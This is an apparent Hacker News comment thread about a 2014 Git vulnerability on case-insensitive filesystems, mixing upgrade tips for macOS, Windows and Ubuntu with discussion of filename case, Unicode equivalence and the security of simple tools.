  /usr/bin/git is usually a soft symlink, so the original binary is still there when you rm the synlink. You can see the actual location by doing ls -al /usr/bin/git If it's not in fact a symlink then yes you should probably rename it to preserve it.
  - Demiurge 12y ago
    Yosemite, mine is not
hwang89 12y ago
Worked for me.
marquis 12y ago
Thanks - really appreciate the signature checking phase. To make sure I had a working git in case all went wrong I added: sudo mv /usr/bin/git /usr/bin/git2 before the symlink.

jszymborski 12y ago

Anybody have an idea when SourceTree will have an update?

bshimmin 12y ago
I don't know - but in SourceTree's preferences, you can tell it to "Use System Git". On a Mac, if your system's git isn't what it ought to be, then do `brew install git` (assuming you have Homebrew installed) and make it use that git rather than the Apple one.
clumsysmurf 12y ago
They updated to 2.0.4 today, but it crashed right away. I'm on OS X 10.7. Now their support site is down.

praseodym 12y ago

Apple has fixed this in Xcode 6.2 beta 3: http://support.apple.com/en-us/HT204147 http://support.apple.com/en-us/HT204147

0x0 12y ago
That's not super helpful as long as Apple still forbids app store submissions built with beta tools.

percept 12y ago

https://www.kernel.org/pub/software/scm/git/ https://www.kernel.org/pub/software/scm/git/

nodesocket 12y ago

I am running OSX Yosemite. ➜ ~ git --version git version 1.9.3 (Apple Git-50) When I navigate to http://git-scm.com/download/mac http://git-scm.com/download/mac it downloads 2.0.1 which was released on 6/29/14. How can I upgrade to 1.9.5?

ethomson 12y ago
Apple has updated this in Xcode 6.2 beta 3: http://support.apple.com/en-us/HT204147 http://support.apple.com/en-us/HT204147
- waxjar 12y ago
  Seems like the Command Line Tools (without XCode), which also ships git, have not been updated (yet). Rather annoying.
  - lloydde 12y ago
    I'm with you. I was really hoping today we'd see a fix in the Command Line Tools and existing XCode versions. How is Apple including the fix only in the next version (beta) a sufficient response?

conorgil145 12y ago

Any Ubuntu users who are looking to update as a precaution might find this link to the "Ubuntu Git Maintainers" ppa useful: https://launchpad.net/~git-core/+archive/ubuntu/ppa https://launchpad.net/~git-core/+archive/ubuntu/ppa also: https://stackoverflow.com/questions/19109542/installing-latest-version-of-git-in-ubuntu https://stackoverflow.com/questions/19109542/installing-late...

vog 12y ago

Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS. (because Git is too bloated and complex in their view, so they weren't able to review it thoroughly, which would have been the only way for them to trust it.) I always get a strange, uneasy feeiling when the tin foil hats turn out to be right. I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. [1] [1] http://www.tedunangst.com/flak/post/signify http://www.tedunangst.com/flak/post/signify

the_af 12y ago
I agree Git can be complex, but... CVS? Really? I do not miss non-atomic commits at all.
- mathrawka 12y ago
  The point is that for OpenBSD that security trumps anything else, including usability of developer tools.
  - the_af 12y ago
    Yes, I get that. It's a worthy goal, too. But I still think software must also be usable in addition to secure.
icebraining 12y ago
CVS has had multiple arbitrary code execution vulnerabilities, though.
- gbog 12y ago
  Yes, but the point is that vulnerabilities in cvs are likely very few as of today, because the code is old and simple, and have been used a lot.
  - 12y ago

mholt 12y ago

> Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem. What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...

userbinator 12y ago

I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definition of "case" changes with locale, for instance. In contrast, with filenames that are treated as dumb and simple, plain sequences of bytes that just cannot contain certain characters (and thus compared accordingly for equality, bit-by-bit), there is no need to even consider the concept of "case", and no ambiguity: It either matches exactly or doesn't match. (I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)

thedufer 12y ago
> Unicode characters that are visually identical This was actually a further bug, reported as part of the same CVE - you could also overwrite .git/config by adding any of a number of zero-width Unicode characters that many filesystems ignore when checking for filename equality (but string comparison doesn't, of course).
- userbinator 12y ago
  http://en.m.wikipedia.org/wiki/Unicode_equivalence http://en.m.wikipedia.org/wiki/Unicode_equivalence http://en.m.wikipedia.org/wiki/IDN_homograph_attack http://en.m.wikipedia.org/wiki/IDN_homograph_attack What seems really scary about this is that even Unicode has several different ways of comparing strings, and the correct one depends on the exact situation, so the common response of "just use a library" doesn't work; for example, if a user were searching for a filename it might make sense for full-width characters to compare equal to half-width ones, but not if opening a file where you wouldn't want e.g. the full width version of /etc/passwd to be equivalent to the half-width one.
  - 12y ago

yourad_io 12y ago

Isn't it pretty nonchalant that git-scm.com doesn't have a huge red banner advising people to "pay attention and update, or face the pwn"? Maybe alert banners aren't in the git-scm.com css template. edit: Is it that I'm on Linux? I changed a few UAs but the download image still reads "Downloads for Linux".

joshkpeterson 12y ago

reposting OSX installer for visibility http://sourceforge.net/projects/git-osx-installer/files/latest/download http://sourceforge.net/projects/git-osx-installer/files/late...

pcl 12y ago

Meanwhile, this would have been a great way to share commit hooks.

Xylakant 12y ago

The download page at http://git-scm.com/download/mac http://git-scm.com/download/mac still offers 2.0.1 even though the start page announces 2.2.1.

asmosoinio 12y ago
Same for me. But http://git-scm.com/ http://git-scm.com/ offers 2.2.1
- beeglebug 12y ago
  It looks like 2.2.1 is the latest source code version, but the builds for Windows and Mac are slightly behind. The windows download is 1.9.5, but was built 13 hours ago and has the fix.

plopper823 12y ago

Is github desktop app using a custom version of git ? Having update to git 1.9.5 and the github application to 2.6.5 i still got "git --version" to return 1.9.4 for mysisgit in git shell. Is this normal ?

highCs 12y ago

Here are the git clients: http://git-scm.com/downloads http://git-scm.com/downloads

vital101 12y ago

For those using HomeBrew on OSX: brew update; brew upgrade git; Then, make sure that HomeBrew versions are taking precedence: echo export PATH='/usr/local/bin:$PATH' >> ~/.bash_profile

billpg 12y ago

What happens if the folder is named .GİT or .gıt in a Turkish locale?

bobbykjack 12y ago
(Because http://msdn.microsoft.com/en-us/library/ms973919.aspx#stringsinnet20_topic5 http://msdn.microsoft.com/en-us/library/ms973919.aspx#string... for anyone wondering 'Why Turkish?')